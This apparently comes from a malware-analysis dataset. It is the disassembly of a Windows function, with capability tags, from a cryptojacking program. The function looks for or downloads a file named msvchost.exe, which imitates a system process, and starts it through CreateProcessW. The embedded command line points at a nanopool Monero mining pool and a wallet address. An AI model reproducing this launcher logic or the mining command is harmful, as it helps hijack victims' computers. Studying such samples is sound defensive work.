Function at 0x14009ee60
Capabilities:
Create process on windows
Reference absolute stream path on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x130], xmm6
mov qword [rbp + 0x128], 0xfffffffffffffffe
xor r15d, r15d
lea r12, [rbp + 0x50]
mov r13, qword [0x1402600c0]
xorps xmm6, xmm6
lea r14, str.ICBM
lea rbx, [rbp + 0x20]
jmp 0x14009eebf
mov r15b, 1
mov ecx, 0xa
xor edx, edx
call fcn.140189a20
mov r8d, 0x20
mov rcx, r12
lea rdx, str.C:WindowsSystem32msvchost.exemsvchost.exe_found__attempting_to_execute...
call fcn.140196d10
cmp dword [rbp + 0x50], 2
jne 0x14009ef00
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xe0], 2
jmp 0x14009ef4b
movups xmm0, xmmword [rbp + 0x50]
movups xmm1, xmmword [rbp + 0x60]
movups xmm2, xmmword [rbp + 0x70]
movups xmm3, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0xe0], xmm0
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x120], rax
movaps xmmword [rbp + 0x110], xmm3
movaps xmmword [rbp + 0x100], xmm2
movaps xmmword [rbp + 0xf0], xmm1
cmp qword [rbp + 0xe0], 2
jne 0x14009f130
lea rcx, [rbp + 0xe8]
call fcn.140045ef0
mov rax, qword [r13]
test r15b, 1
jne 0x14009f0c0
cmp rax, 2
jb 0x14009efd8
lea rax, str.msvchost.exe_not_found._Attempting_to_download_and_process...
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [0x1401d57a0]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 2
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
call fcn.14009b6f0
test rax, rax
je 0x14009f1e1
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
mov rcx, qword [r13]
test rcx, rcx
je 0x14009f348
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x20], rax
lea rax, [0x14009b3b0]
mov qword [rbp + 0x28], rax
lea rax, str.Failed_to_download._Error:
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], 1
lea rcx, [0x1401d57e8]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 1
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0x18], rdx
mov rax, qword [rdx]
test rax, rax
jne 0x14009f358
jmp 0x14009f35e
cmp rax, 2
jb 0x14009eeb3
lea rax, str.Waiting_for_download_to_complete._Retrying_in_10_seconds...
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [0x1401d5890]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 2
jmp 0x14009f24d
mov rax, qword [r13]
cmp rax, 3
jb 0x14009f1a7
lea rax, [0x1401d5670]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [0x1401d5680]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 3
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
mov r8d, 0x20
mov rcx, r12
lea rdx, str.C:WindowsSystem32msvchost.exemsvchost.exe_found__attempting_to_execute...
call fcn.140196d10
cmp dword [rbp + 0x50], 2
jne 0x14009f264
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xe0], 2
jmp 0x14009f2af
mov rax, qword [r13]
mov r15b, 1
cmp rax, 3
jb 0x14009eeb3
lea rax, str.Successfully_downloaded.
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [0x1401d5828]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 3
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
jmp 0x14009eeb3
movups xmm0, xmmword [rbp + 0x50]
movups xmm1, xmmword [rbp + 0x60]
movups xmm2, xmmword [rbp + 0x70]
movups xmm3, xmmword [rbp + 0x80]
movaps xmmword [rbp + 0xe0], xmm0
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x120], rax
movaps xmmword [rbp + 0x110], xmm3
movaps xmmword [rbp + 0x100], xmm2
movaps xmmword [rbp + 0xf0], xmm1
cmp qword [rbp + 0xe0], 2
jne 0x14009f381
lea rcx, [rbp + 0xe8]
call fcn.140045ef0
mov rax, qword [r13]
test rax, rax
je 0x14009f331
lea rax, str.msvchost.exe_not_found_in_System32.
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [0x1401d5fc8]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 1
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
call fcn.14017f2b0
mov rsi, rax
mov edi, edx
test edi, edi
jne 0x14009f627
jmp 0x14009f786
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rdx]
test rax, rax
je 0x14009f35e
mov rcx, qword [rbp + 0x48]
call rax
mov rax, qword [rbp + 0x18]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14009eeb0
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x48]
call fcn.1400b4820
jmp 0x14009eeb0
mov rax, qword [r13]
cmp rax, 3
jb 0x14009f3f8
lea rax, [0x1401d5670]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [0x1401d5e00]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 3
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
lea rax, str.C:WindowsSystem32msvchost.exe__o_xmr_eu2.nanopool.org:14433__u_49QjJy47SU1MGFX7Rep7TQUkGUvvTRqSx4HhzqBgMNwtRvxsXMd98sFZLULDV61ncxVr5kazj9asqctBxy6hWm462wGcBQT___tls___coin_monerowinsta0defaultSuccessfully_launched_msvchost.exe_with_mining_parameters.
mov qword [rbp + 0xc0], rax
lea rax, [0x1401d5ecd]
mov qword [rbp + 0xc8], rax
mov word [rbp + 0xd0], 0
mov dword [rbp + 0xd8], 1
lea rcx, [rbp - 8]
lea rdx, [rbp + 0xc0]
call fcn.14002d8e0
movaps xmmword [rbp + 0x50], xmm6
movaps xmmword [rbp + 0xa0], xmm6
movaps xmmword [rbp + 0x90], xmm6
movaps xmmword [rbp + 0x80], xmm6
movaps xmmword [rbp + 0x70], xmm6
movaps xmmword [rbp + 0x60], xmm6
mov qword [rbp + 0xb0], 0
mov dword [rbp + 0x50], 0x68
lea rax, [0x1401d5ecd]
mov qword [rbp + 0xe0], rax
lea rax, [0x1401d5edc]
mov qword [rbp + 0xe8], rax
mov word [rbp + 0xf0], 0
mov dword [rbp + 0xf8], 1
mov rcx, rbx
lea rdx, [rbp + 0xe0]
call fcn.14002d8e0
mov rdx, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x28]
test rdx, rdx
je 0x14009f4c6
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.1400b4820
mov qword [rbp + 0x60], rsi
mov dword [rbp + 0x8c], 1
mov word [rbp + 0x90], 0
movaps xmmword [rbp - 0x30], xmm6
mov qword [rbp - 0x20], 0
mov rbx, qword [rbp]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r12
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
jne 0x14009f6ed
call fcn.14017f2b0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], edx
test edx, edx
je 0x14009f6ed
test rax, rax
je 0x14009f554
lea rcx, [rbp + 0xe0]
call fcn.14017f2a0
mov rax, qword [r13]
test rax, rax
je 0x14009f5f7
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x14], eax
lea rax, [rbp + 0x14]
mov qword [rbp - 0x18], rax
lea rax, [0x14017ef10]
mov qword [rbp - 0x10], rax
lea rax, str.Failed_to_execute_msvchost.exe._Error:
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
mov qword [rbp + 0x100], 0
lea rax, [rbp - 0x18]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 1
lea rcx, [0x1401d5f78]
call fcn.140128aa0
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], 4
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 4
mov qword [rbp + 0x40], rax
mov edx, 1
lea rcx, [rbp + 0xe0]
lea r8, [rbp + 0x20]
xor r9d, r9d
call fcn.1401289b0
call fcn.14017f2b0
mov rsi, rax
mov edi, edx
mov rdx, qword [rbp - 8]
test rdx, rdx
je 0x14009f61b
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.1400b4820
lea rbx, [rbp + 0x20]
test edi, edi
je 0x14009f786
mov qword [rbp + 0xc0], rsi
mov dword [rbp + 0xc8], edi
mov rax, qword [r13]
test rax, rax
je 0x14009f6d3
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x20], rax
lea rax, [0x14017f3b0]
mov qword [rbp + 0x28], rax
lea rax, str.Failed_to_launch_msvchost.exe._Error:
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], 1
lea rcx, [0x1401d5738]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
mov edx, 1
mov rcx, r12
lea r8, [rbp + 0xe0]
xor r9d, r9d
call fcn.1401289b0
mov rsi, qword [rbp + 0xc0]
test rsi, rsi
je 0x14009eeb3
lea rcx, [rbp + 0xc0]
call fcn.14017f2a0
jmp 0x14009eeb3
mov rax, qword [r13]
cmp rax, 3
jb 0x14009f765
lea rax, [0x1401d5f18]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
mov qword [rbp + 0xf0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
lea rcx, [0x1401d5f28]
call fcn.140128aa0
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], 4
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 4
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xe0]
lea r8, [rbp + 0x20]
mov edx, 3
xor r9d, r9d
call fcn.1401289b0
mov esi, dword [rbp - 0x20]
mov rdx, qword [rbp - 8]
test rdx, rdx
je 0x14009f782
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.1400b4820
lea rbx, [rbp + 0x20]
mov dword [rbp + 0xc0], esi
mov rax, qword [r13]
cmp rax, 3
jb 0x14009f826
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x20], rax
lea rax, [0x1401b7d80]
mov qword [rbp + 0x28], rax
lea rax, str.Successfully_launched_msvchost.exe_with_mining_parameters__PID:
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], 1
lea rcx, [0x1401d56e8]
call fcn.140128aa0
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], 4
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], rax
lea rcx, [rbp + 0x50]
lea r8, [rbp + 0xe0]
mov edx, 3
xor r9d, r9d
call fcn.1401289b0
movaps xmm6, xmmword [rbp + 0x130]
add rsp, 0x1c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret